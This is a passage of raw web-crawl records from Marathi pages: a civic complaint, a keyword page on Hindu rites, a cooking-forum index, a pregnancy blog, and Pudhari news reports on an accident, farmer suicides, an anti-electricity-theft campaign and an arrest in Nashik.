चार पाच वर्षापुर्वी काळेश्वरी कॉलनीतील अशाच सांडपाण्यामुळे डासांचे प्रमाण वाढल्याने एका लहान मुलीचा डेंग्युने मृत्यू झाला होता.\nया सर्व समस्यांच्या संदर्भात श्रीनगरमधील नागरिकांनी खेड ग्रामपंचायतीमध्ये वारंवार तक्रारी अर्ज दिले होते. त्याची आजपर्यंत दखल घेतली नाही. त्या प्रभागातील सदस्यांनी तीन चार वेळा फक्‍त पहाणी करुन ते प्रश्न लवकरात लवकर मार्गी लावण्याचे फक्त आशवासन दिले प्रत्यक्षात मात्र काहीच कार्यवाही केली नाही. पंचायतीच्या स्वाधीन असलेल्या रस्त्यांचे नोंद पुस्तक ग्रामपंचायतीचा नमुना नं. 26 मध्ये नोंदवून व कायम स्वरुपी देखभाल दुरुस्तीसाठी सर्व नागरिकांनी स्वखुशीने ग्रामपंचायतीच्या ताब्यात देवूनही त्याचा काहीच उपयोग झाला नाही. श्रीनगरमधील सर्व नागरिकांना सर्व मुलभुत सुविधा न मिळ्याल्यामुळे घरपट्टी न भरण्याचा निर्णय घेतला आहे. तसेच येणाऱ्या सर्व निवडणुकांवर बहिष्कार टाकण्याचा व मतदान न करण्याचाही निर्णय घेतला आहे. नागरिकांनी आपल्या तक्रारी यापुर्वी अनेकवेळा पालकमंत्री, जिल्हा परिषद अधिकारी, पंचायत समिती सभापती, जिल्हाधिकारी ग्राहक न्यायालयात अर्ज तक्रारी दिल्या होत्या, पण काहीच कार्यवाही झालेली नाही.\nप्रकाश गुरव यांनी पंचायत समितीचे गटविकास अधिकारी यांना या प्रश्‍नांसंबंधीचा अर्ज देण्यात आला होता. त्यावेळी त्यांनी अर्जात नमूद केलेल्या मुद्यांवर त्वरीत सविस्तर चौकशी करुन नियमानुसार तात्काळ योग्य ती कारवाई करुन श्रीनगरमधील नागरिकांना मुलभुत सुविधा मिळाव्यात याबाबतच्या सुचना देवून ही त्या आधिकाऱ्यांच्या सुचनांना केराची टोपली दाखविली.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious article…त्यांनी सांगितले तिथेच बसावे लागले\nNext articleसायकल ट्रॅक अखेर होणार दुरूस्त\n‘खासदार उदयनराजे सोडून इतर कोणताही उमेदवार द्यावा, आम्ही त्याला निवडून आणू’\nहॉकर्स संघटना करणार जेलभरो आंदोलन\nविविध घटनांमध्ये तिघांचा मृत्यू\nवृत्तपत्र विक्रेत्यांच्या आंदोलनास मराठी पत्रकार परिषदेचा पाठिंबा\nसाताऱ्यात ढोल-ताशा तर फलटणात डीजे, बहोत ना इन्साफी है…\nसातारच्या नेत्यांची बारामतीत खलबते\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00265.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/%E0%A4%B8%E0%A5%8B%E0%A4%B3%E0%A4%BE/word", "date_download": "2018-09-25T17:27:00Z", "digest": "sha1:M5JFTWOGGR6UUM4RWL5D24ZSVERQ3LCY", "length": 9156, "nlines": 117, "source_domain": "www.transliteral.org", "title": "Keyword - सोळा", "raw_content": "\nजेवण उष्टे सोडून अन्नाचा अपमान करणार्याला विविध शास्त्र, पुराणात काय शिक्षासांगितली आहे कृपाया संदर्भासह स्पष्ट करणे .\nसर्व सोळा संस्कारात उपनयनसंस्कार सर्वात श्रेष्ठ होय. हा संस्कार केल्याने बटूला वेदाध्ययनाचा अधिकार प्राप्त होतो.\nसर्व सोळा संस्कारात उपनयनसंस्कार सर्वात श्रेष्ठ होय. हा संस्कार केल्याने बटूला वेदाध्ययनाचा अधिकार प्राप्त होतो.\nसर्व सोळा संस्कारात उपनयनसंस्कार सर्वात श्रेष्ठ होय. हा संस्कार केल्याने बटूला वेदाध्ययनाचा अधिकार प्राप्त होतो.\nसर्व सोळा संस्कारात उपनयनसंस्कार सर्वात श्रेष्ठ होय. हा संस्कार केल्याने बटूला वेदाध्ययनाचा अधिकार प्राप्त होतो.\nसर्व सोळा संस्कारात उपनयनसंस्कार सर्वात श्रेष्ठ होय. हा संस्कार केल्याने बटूला वेदाध्ययनाचा अधिकार प्राप्त होतो.\nसर्व सोळा संस्कारात उपनयनसंस्कार सर्वात श्रेष्ठ होय. हा संस्कार केल्याने बटूला वेदाध्ययनाचा अधिकार प्राप्त होतो.\nसोळा संस्कार Sola Sanskar\nसोळा शुक्रवारचे व्रत का करावे\nजगत्‌जननी भगवती श्रीसंतोषी माता ही साक्षात महालक्ष्मी स्वरूप व गणपतीची कन्या आहे.Santoshi Mata, the mother of contentment.\nपथ्ये, नियम व सूचना\nजगत्‌जननी भगवती श्रीसंतोषी माता ही साक्षात महालक्ष्मी स्वरूप व गणपतीची कन्या आहे.Santoshi Mata, the mother of contentment.\nजगत्‌जननी भगवती श्रीसंतोषी माता ही साक्षात महालक्ष्मी स्वरूप व गणपतीची कन्या आहे.Santoshi Mata, the mother of contentment.\nजगत्‌जननी भगवती श्रीसंतोषी माता ही साक्षात महालक्ष्मी स्वरूप व गणपतीची कन्या आहे.Santoshi Mata, the mother of contentment.\nजगत्‌जननी भगवती श्रीसंतोषी माता ही साक्षात महालक्ष्मी स्वरूप व गणपतीची कन्या आहे.Santoshi Mata, the mother of contentment.\nजगत्‌जननी भगवती श्रीसंतोषी माता ही साक्षात महालक्ष्मी स्वरूप व गणपतीची कन्या आहे.Santoshi Mata, the mother of contentment.\nजगत्‌जननी भगवती श्रीसंतोषी माता ही साक्षात महालक्ष्मी स्वरूप व गणपतीची कन्या आहे.Santoshi Mata, the mother of contentment.\nजगत्‌जननी भगवती श्रीसंतोषी माता ही साक्षात महालक्ष्मी स्वरूप व गणपतीची कन्या आहे.Santoshi Mata, the mother of contentment.\nजगत्‌जननी भगवती श्रीसंतोषी माता ही साक्षात महालक्ष्मी स्वरूप व गणपतीची कन्या आहे.Santoshi Mata, the mother of contentment.\nजगत्‌जननी भगवती श्रीसंतोषी माता ही साक्षात महालक्ष्मी स्वरूप व गणपतीची कन्या आहे.Santoshi Mata, the mother of contentment.\nजगत्‌जननी भगवती श्रीसंतोषी माता ही साक्षात महालक्ष्मी स्वरूप व गणपतीची कन्या आहे.Santoshi Mata, the mother of contentment.\nजगत्‌जननी भगवती श्रीसंतोषी माता ही साक्षात महालक्ष्मी स्वरूप व गणपतीची कन्या आहे.Santoshi Mata, the mother of contentment.\nपुष्पे पत्रे, किती काळाने शिळी ( निर्माल्य ) होतात \n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00265.warc.wet.gz", "language": "mr", "language_score": 0.7, "bucket": "all"} {"url": "https://www.maayboli.com/hitguj/molecular-gastronomy", "date_download": "2018-09-25T17:27:35Z", "digest": "sha1:T2B2SUDSONT4KGGO2MBEUVBFYMVB4U4G", "length": 4452, "nlines": 93, "source_domain": "www.maayboli.com", "title": "मोलेक्यूलर गॅस्ट्रॉनॉमी Molecular Gastronomy | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /मोलेक्यूलर गॅस्ट्रॉनॉमी\nमोलेक्यूलर गॅस्ट्रॉनॉमी या विषयाशी निगडित हितगुज.\nवार्ता, पाककृती, अनुभव, सल्ले\nमिष्टान्नशास्त्र - आमचाही एक प्रयोग- रोस्टेड रेड पेपर सूपचे नूडल्स लेखनाचा धागा\nरेण्वीय अंडे पोळा उर्फ मोलेक्युलर 'सनी साईड अप' लेखनाचा धागा\nमोलेक्यूलर गॅस्ट्रॉनॉमीला (Molecular Gastronomy) योग्य मराठी प्रतिशब्द सुचवा. लेखनाचा धागा\nमोलेक्यूलर गॅस्ट्रॉनॉमी एक खूळ का वरदान\nआदित्यचे मिष्टान्नशास्त्रातले प्रयोग लेखनाचा धागा\nतिरंगी स्पॅगेटी लेखनाचा धागा\nMolecular Gastronomy चा माझा पहिला अनुभव लेखनाचा धागा\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00265.warc.wet.gz", "language": "mr", "language_score": 0.79, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/03/blog-post.html", "date_download": "2018-09-25T17:46:34Z", "digest": "sha1:HZJZMRDYMLYN5AC5K27D2NFB7XUL5ZQ4", "length": 8774, "nlines": 66, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: सोनालीची ग्लूकोज चाचणी २ आणि प्लेटलेट्स", "raw_content": "\nसोनालीची ग्लूकोज चाचणी २ आणि प्लेटलेट्स\nमागच्या ग्लूकोज चाचणी नंतर असे दिसले की साखर चांगली विरघळली जात नाही आहे म्हणुन परत तीच चाचणी केली म्हणुन परत तीच चाचणी केली यावेळी मात्र १ तासाऐवजी ३ तासांची होती यावेळी मात्र १ तासाऐवजी ३ तासांची होती प्रत्येक तासामध्ये एक कप सीरप प्यायला देऊन १ तासाने रक्त तपासायला घेतले प्रत्येक तासामध्ये एक कप सीरप प्यायला देऊन १ तासाने रक्त तपासायला घेतले असे ३ वेळा केले असे ३ वेळा केले आणि या ३ नमून्यांची तपासणी वेगवेगळी केली आणि या ३ नमून्यांची तपासणी वेगवेगळी केली यावेळी साखर विघटन ठीक आले ... परन्तु रक्तामध्ये प्लेटलेट्स कमी आल्या यावेळी साखर विघटन ठीक आले ... परन्तु रक्तामध्ये प्लेटलेट्स कमी आल्या प्लेटलेट्स म्हणजे रक्तामध्ये असलेल्या काही विशिष्ट पेशी ज्या रक्त गोठायला मदत करतात प्लेटलेट्स म्हणजे रक्तामध्ये असलेल्या काही विशिष्ट पेशी ज्या रक्त गोठायला मदत करतात जन्म देताना - विशेषतः सी-सेक्शन करताना रक्तस्राव होतो जन्म देताना - विशेषतः सी-सेक्शन करताना रक्तस्राव होतो यावेळी शरीर नैसर्गिक रित्या रक्त गोठवते आणि प्लेटलेट्स एकमेकांमध्ये गुंतून रक्तप्रवाह अडवतात यावेळी शरीर नैसर्गिक रित्या रक्त गोठवते आणि प्लेटलेट्स एकमेकांमध्ये गुंतून रक्तप्रवाह अडवतात प्लेटलेट्स कमीच असतील तर रक्त गोठायला त्रास पडतो प्लेटलेट्स कमीच असतील तर रक्त गोठायला त्रास पडतो आणि अतिरक्तस्रावाने बाळंतीण स्त्रीचा मृत्यु होऊ शकतो\nपरन्तु आधुनिक वैद्यक शास्त्रामध्ये या सर्व गोष्टींवर उपाय आहेत त्यामुळे घाबरण्याचे कारण नाही त्यामुळे घाबरण्याचे कारण नाही आम्हाला ताबडतोब एका दुसऱ्या डॉक्टर कड़े जाण्यास सांगितले आम्हाला ताबडतोब एका दुसऱ्या डॉक्टर कड़े जाण्यास सांगितले ती डॉक्टर फक्त याच विषयामध्ये तज्ञ आहे ती डॉक्टर फक्त याच विषयामध्ये तज्ञ आहे तिथे काही चाचण्या केल्या. त्यांनी सांगितले की प्लेटलेट्स कमी आहेत परन्तु आता काही करण्याची गरज नाही कारण १०० च्या आसपास आहेत तिथे काही चाचण्या केल्या. त्यांनी सांगितले की प्लेटलेट्स कमी आहेत परन्तु आता काही करण्याची गरज नाही कारण १०० च्या आसपास आहेत १५०-४०० हे निरोगिपणाचे लक्षण ... आणि ३५ हे अगदी गंभीर लक्षण १५०-४०० हे निरोगिपणाचे लक्षण ... आणि ३५ हे अगदी गंभीर लक्षण प्रसूतीच्या वेळी ती डॉक्टर ओपेराशन रूम मध्ये असणार आहे प्रसूतीच्या वेळी ती डॉक्टर ओपेराशन रूम मध्ये असणार आहे त्याव्यतिरिक्त काहीही करण्याची गरज नाही\nमी विचार करू लागलो की भारतात खेडोपाड्यात अजूनही या सर्व गोष्टींचा किती विचार केला जात असेल कधी कधी तर शहरातही अजूनही अज्ञान दिसते कधी कधी तर शहरातही अजूनही अज्ञान दिसते केवल वैद्यकीय सुविधांचाही हां प्रश्न नाही केवल वैद्यकीय सुविधांचाही हां प्रश्न नाही मुद्दा आपल्या समाजाच्या मोकळेपणाचाही आहे मुद्दा आपल्या समाजाच्या मोकळेपणाचाही आहे आपल्या समाजात गर्भारपणा इत्यादि विषयांवर मोकळेपणाने बोलणे दिसत नाही आपल्या समाजात गर्भारपणा इत्यादि विषयांवर मोकळेपणाने बोलणे दिसत नाही नैसर्गिक लज्जा हे मी समजू शकतो नैसर्गिक लज्जा हे मी समजू शकतो परन्तु काही काही आरोग्यविषयक गोष्टी इतक्या महत्वाच्या असतात त्यांच्याबद्दल प्रचार आणि प्रसार झाला पाहिजे परन्तु काही काही आरोग्यविषयक गोष्टी इतक्या महत्वाच्या असतात त्यांच्याबद्दल प्रचार आणि प्रसार झाला पाहिजे गैरसमज दूर झाले पाहिजेत\nतसेच आपल्याकडे डोक्टरदेखिल आवश्यक ती माहिती रोग्यांना देत नाहित यांना काय कळणार ही भावना योग्य नाही यांना काय कळणार ही भावना योग्य नाही अज्ञानात सुख नाही तर दुःखच आहे इथे अज्ञानात सुख नाही तर दुःखच आहे इथे त्यामुले या विषयावर सामान्यांना कळेल अशी पुस्तके लिहावीत डोक्टरांनी त्यामुले या विषयावर सामान्यांना कळेल अशी पुस्तके लिहावीत डोक्टरांनी मी आणि सोनाली बर्याचदा इथे पुस्तकांच्या दुकानात जाऊन या विषयावरची पुस्तके वाचतो मी आणि सोनाली बर्याचदा इथे पुस्तकांच्या दुकानात जाऊन या विषयावरची पुस्तके वाचतो त्यामध्ये बाळाची वाढ आणि स्त्री मध्ये होणारे प्रत्येक आठवड्यातिल बदल यावर अगदी सुंदर आणि अचूक माहिती दिली असते त्यामध्ये बाळाची वाढ आणि स्त्री मध्ये होणारे प्रत्येक आठवड्यातिल बदल यावर अगदी सुंदर आणि अचूक माहिती दिली असते मन थक्क होते की या पाश्चात्य लोकांनी एवढा अभ्यास कधी केला असेल मन थक्क होते की या पाश्चात्य लोकांनी एवढा अभ्यास कधी केला असेल आणि आता तर ही सर्व माहिती महाजालावर (internet) सुद्धा उपलब्ध आहे\nअसो तर ... एकंदरीत उत्तम चालले आहे इथे वैद्यकीय सोयीसुविधा चांगल्या (नव्हे जगात सर्वोत्तम) आहेत इथे वैद्यकीय सोयीसुविधा चांगल्या (नव्हे जगात सर्वोत्तम) आहेत त्यामुले काळजिचे कारण नाही त्यामुले काळजिचे कारण नाही अजून ५ आठवडे झाले की सलोनिची वाढ पूर्ण होईल अजून ५ आठवडे झाले की सलोनिची वाढ पूर्ण होईल त्यानंतर पुढचे ४ आठवडे फक्त वजन वाढत राहते ... ३६ ते ४० च्या आठवड्यात बाळाचा कधीही जन्म झाला तरी बाळाच्या आरोग्याला तसा धोका तितका नसतो त्यानंतर पुढचे ४ आठवडे फक्त वजन वाढत राहते ... ३६ ते ४० च्या आठवड्यात बाळाचा कधीही जन्म झाला तरी बाळाच्या आरोग्याला तसा धोका तितका नसतो परन्तु आईच्या पोटापेक्षा अधिक माया अजून कुठेही मिळू शकत नाही बाळाला हेही तितकेच खरे\nदिसामाजी काहीतरी (नवीन) लिहित जावे\nकॉप्स (अर्थात - अमेरिकन पोलिस)\nआईशी संवाद - भाग २ (4D अल्ट्रासाऊन्ड)\nसोनालीची ग्लूकोज चाचणी २ आणि प्लेटलेट्स\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00266.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/son-and-father-killed-in-truck-pickup-crash/", "date_download": "2018-09-25T17:39:34Z", "digest": "sha1:DJ4H5XBEDAM32PKEMTZSYTDRSB55QRQV", "length": 5679, "nlines": 36, "source_domain": "www.pudhari.news", "title": " ट्रक-पिकअपच्या अपघातात बापलेक ठार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › ट्रक-पिकअपच्या अपघातात बापलेक ठार\nट्रक-पिकअपच्या अपघातात बापलेक ठार\nशिरूर-चौफुला रस्त्यावर ट्रक व पिकअप जीपची समोरासमोर धडक होऊन पिकअपमधील बापलेक ठार झाले. या दुर्घटनेत अन्य तीघे जखमी झाले आहेत. हा अपघात सोमवारी (दि. 13) सकाळी सव्वाआठ वाजता झाला. अपघातात ठार झालेल्या बापलेकाची नावे कैलास रामपाल बंजारा (वय 22) आणि रामपाल मधाराम बंजारा (वय 65, सध्या रा. केडगाव चौफुला, ता. दौंड, मूळ रा.कुचेरा, जि. नागोर, राजस्थान) अशी आहेत. तर बुधाराम बंजारा, सुनील गिरी, नेमाराम चौधरी हे तिघे जखमी झाले आहेत.\nयाबाबत शिरूर पोलिसांनी दिलेल्या माहितीनुसार, सोमवारी सकाळी राजस्थान येथील आपल्या कुचेरा गावी जाण्यासाठी बंजारा कुटुंब हे शिरूर-न्हावरे फाटा येथे येऊन येथून ट्रव्हल्सने जाणार होते. त्यासाठी त्यांनी केडगाव (ता. दौंड) येथून ते पिकअप जीप (एमएच 12 पीक्यू 9594) हिने न्हावरे फाटा येथे निघाले होते. दरम्यान, पिकअप जीप करडे घाटातील कालव्याजवळ आली असता पिकअप जीप व न्हावरे फाटा बाजूने समोरून येणारा ट्रक (एनएल 01 एन 8690) यांची समोरासमोर धडक झाली.\nयात पिकअप जीपचा समोरील भाग चक्काचूर झाला. यामध्येपिकअप जीपमधील कैलास व रामपाल बंजारा हे ठार झाले. मयत बंजारा कुटुंब केडगाव चौफुला येथे फर्निचर बनवण्याचा व्यवसाय करीत होते. न्हावरे फाटा केवळ एक किलोमीटर राहला असता बंजारा कुटुंबावर काळाने घाला घातला. अपघातानंतर ट्रक चालक पळून गेला आहे.याबाबत देवीसिंग हरिसिंग रजपूत यांनी पोलिसांना माहिती दिली असून, शिरूर पोलिस स्टेशन येथे मोटार अपघात नोंद झाली आहे. तपास पोलिस उपनिरीक्षक भगवान पालवे करीत आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00266.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Aurangabad/48-farmer-suicide/", "date_download": "2018-09-25T16:55:43Z", "digest": "sha1:N7RZQZONJFACF22ZI3WBBE2T7ATA3NAL", "length": 7271, "nlines": 50, "source_domain": "www.pudhari.news", "title": " पंधरा दिवसांत ४८ शेतकर्‍यांनी गमावला जीव | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Aurangabad › पंधरा दिवसांत ४८ शेतकर्‍यांनी गमावला जीव\nपंधरा दिवसांत ४८ शेतकर्‍यांनी गमावला जीव\nकर्जमाफीचा औटघटकेचा ठरलेला आनंद, महावितरणकडून थकबाकी वसुलीसाठी वीज कनेक्शन कपातीची कारवाई आणि त्यातच बोंडअळीने केलेला हल्ला अशा परिस्थितीत मराठवाड्यात शेतकरी आत्महत्यांची संख्या वाढली आहे. मागील पंधरा दिवसांत तब्बल 48 शेतकरी कुटुंबांनी घरातील कर्ता पुरुष गमावल्याच्या दुर्दैवी घटना घडल्या आहेत.\nऐन दिवाळीत शासनाने कर्जमाफीचा प्रत्यक्ष लाभ देण्याचा कार्यक्रम उरकून घेतला. प्रातिनिधिक स्वरूपात काही शेतकर्‍यांना नव्या कपड्यांसह कर्जमाफीचे प्रमाणपत्र प्रदान करण्यात आले. मात्र प्रत्यक्षात अद्यापही शेतकर्‍यांवर कर्जाचा बोजा कायम आहे. या धक्क्यातून सावरत नाही, तोच थकबाकी वसुलीची मोहीम महावितरणने जोरात सुरू केली. कनेक्शन कपात करून वीजपुरवठा तोडल्याने रब्बी हंगामातील पिकांना पाणी असूनही देता येत नसल्याने शेतकरी हतबल झाला. त्यातच खरिपात बहरलेले पांढरे सोने वेचण्यापूर्वीच बोंडअळीने हल्ला केला. मराठवाड्यात सुमारे 70 टक्के कापूस बोंडअळीने खाऊन टाकला आहे. कापसाच्या विक्रीतून येणार्‍या पैशांत कुटुंबासाठी केलेल्या नियोजनावर पाणी फेरले गेले आहे. सोयाबीनला भाव नसल्याने शेतकरी पुन्हा कर्जाच्या ओझ्याखाली अडकला आहे.\nशेतकरी संघटनांसह विविध पक्ष-संघटनांनी ओरड केल्यानंतर कृषी विभागाला जाग आली. पाहणी करण्याचे नाट्य सुरू झाले. शेतकर्‍यांकडून कापूस पिकाच्या पेरणीबाबत पुन्हा एकदा फॉर्म भरून घेण्याची कार्यवाही सुरू करून कोरडा दिलासा देण्याचा प्रयत्न सुरू आहे. या सर्व प्रकारात हतबल झालेला शेतकरी गळ्याला फास लावत आहे. 20 नोव्हेंबर ते 4 मार्च या अवघ्या 15 दिवसांत मराठवाड्यात 48 शेतकरी आत्महत्या झाल्या आहेत. तर मागील अकरा महिन्यांत मराठवाड्यातील शेतकरी आत्महत्यांचा आकडा हजाराच्या दिशेने सरकला आहे.\nपाणीपुरवठ्याच्या विहिरीत मिसळली दारू अन्‌ गाव झालं तर्राट\nगंगापुरातील शेतकर्‍यांचे आंदोलन पोलिसांनी चिरडले\nथिएटरमध्ये नेता येतील पाणी बॉटल-खाद्यपदार्थ\nपंधरा दिवसांत ४८ शेतकर्‍यांनी गमावला जीव\nमतदार यादीसाठी बीएलओ नेट अ‍ॅपसह अधिकारी तुमच्या दारी\nकिडनीसाठी डॉक्टरची कोर्टात धाव \nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00266.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/electricity-board-campaign-against-power-theft-by-remote/", "date_download": "2018-09-25T16:53:03Z", "digest": "sha1:4NKBUJDMEPT4IZY5BK7XCUFZEZTHS4FN", "length": 5569, "nlines": 36, "source_domain": "www.pudhari.news", "title": " रिमोटद्वारे वीजचोरी करणाऱ्यांविरुध्द महावितरणची विशेष मोहीम | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › रिमोटद्वारे वीजचोरी करणाऱ्यांविरुध्द महावितरणची विशेष मोहीम\nरिमोटद्वारे वीजचोरी करणाऱ्यांविरुध्द महावितरणची विशेष मोहीम\nनवी मुंबई : प्रतिनिधी\nरिमोटद्वारे वीजचोरी करणाऱ्यांविरोधात राज्यभरात महावितरणच्या वतीने १ सप्टेंबर पासून विशेष मोहीम राबविण्यात येणार आहे. यात संबंधित ग्राहकांसह रिमोटची निर्मिती करणाऱ्या कंपनी विरोधातही कठोर कारवाई करण्यात येणार आहे.\nमहावितरणच्या वतीने वीजचोरीला आळा घालण्यासाठी सातत्याने विविध उपाययोजना करण्यात येतात. वीजचोरी रोखण्यासाठी संपूर्ण राज्यात विशेष मोहीम राबवून मोठया प्रमाणात कारवाई करण्यात येते. परंतू अलीकडच्या काही वर्षात रिमोटद्वारे वीजचोरी होत असल्याचे आढळून आले आहे. याबाबत मुंबईत आज झालेल्या संचालक मंडळाच्या बैठकीत अशा वीजचोरीच्या विरोधात विशेष मोहीम राबविण्याचा व कठोर कारवाई करण्याचा निर्णय घेण्यात आला आहे. ही मोहीम १ सप्टेंबर पासून संपूर्ण राज्यात राबविण्यात येणार आहे. या मोहिमेत रिमोटद्वारे वीज चोरी करणारे ग्राहक तसेच संबंधित कंपनीविरोधात कठोर कारवाई करण्यात येणार आहे.\nरिमोटद्वारे वीजचोरी होत असल्याचे निदर्शनास आल्यास संबंधितांनी महावितरणला त्याची माहिती द्यावी. अशा वीजचोरीची माहिती देणाऱ्यांना वीजचोरीच्या अनुमानित रक्कमेच्या दहा टक्के रक्कम रोख स्वरुपात बक्षीस म्हणून देण्यात येते. तसेच अशी माहिती देणाऱ्याचे नाव देखील गुप्त ठेवण्यात येते. त्यामुळे अशा वीजचोरीची माहिती देण्याचे आवाहन महावितरणने केले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00266.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/Criminal-Arrested-In-Nashik/", "date_download": "2018-09-25T16:57:45Z", "digest": "sha1:4GF7UYWVK2CCFUL4T53AVHET4JCOOJKJ", "length": 6672, "nlines": 50, "source_domain": "www.pudhari.news", "title": " नाशिक : चन्याबेग टोळीतील सराइत गुंडाला अटक | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › नाशिक : चन्याबेग टोळीतील सराइत गुंडाला अटक\nनाशिक : चन्याबेग टोळीतील सराइत गुंडाला अटक\nइंदिरानगर परिसरातून पोलिसांनी नगर जिल्ह्यातील कुख्यात चन्याबेग टोळीतील एका गुंडास अटक केली आहे. अंकुश रमेश जेधे (24, रा. श्रीरामपूर) असे या संशयिताचे नाव असून त्याच्याकडून एक पिस्तुल आणि तीन जीवंत काडतुसे जप्त करण्यात आली आहेत. अंकुशचा एक साथीदार फरार झाला असून पोलीस त्याचा शोध घेत आहे.\nइंदिरानगर पोलीस ठाण्यातील गुन्हे शोध पथ्लृक शनिवारी (दि.16) सायंकाळी साडेसातच्या सुमारास वासननगर परिसरात गस्त घालत होते. त्यावेळी दोघा युवकांवर पोलिसांना संशय आल्याने चौकशीसाठी पोलीस त्यांच्या दिशेने गेले. त्यामुळे दोघेही संशयित दुचाकीवरून पळाले. रस्ता संपल्याने संशयितांनी दुचाकी तेथेच टाकून पळ काढला. पोलिसांनी सुमारे एक किलोमीटर पाठलाग करीत अंकुशला पकडले. त्याच्याकडष एक गावठी कट्टा आणि तीन काडतुसे सापडली. पोलिसांनी त्याच्याकडील एमएच 12 पीएल 2879 क्रमांकाची दुचाकीही जप्त केली आहे. अंकुशचा साथीदार नईम सैयद (रा. श्रीरामपूर) हा फरार झाला. पोलिसांच्या तपासात अंकुश आणि नईम मोक्कातील गुन्हेगार असून ते दोन वर्षांपासून फरार आहेत. नगरमधील सागर बेग उर्फ चन्याबेग टोळीतील दोघेही गुंड असून चन्याबेगचा अंकुश नातलग असल्याचेही पोलीस तपासात उघडकीस आले.\nदरम्यान, ऑक्टोबर महिन्यात शहर पोलिसांनी इंदिरानगर परिसरातून बेग टोळीतील तीघा संशयितांना शस्त्रांस्त्रासह सापळा रचून अटक केली होती. या टोळीतील गुंडांनी शहरातही एकाचा खुन केल्याचे उघडकीस आले होते. त्यामुळे अंकुश आणि नईम शहरात का आले होते, त्यांचा कोणाशी संपर्क झाला याचा शोध शहर पोलीस घेत आहेत.\nनाशिक : चन्याबेग टोळीतील सराइत गुंडाला अटक\nशस्त्रसाठा प्रकरणी 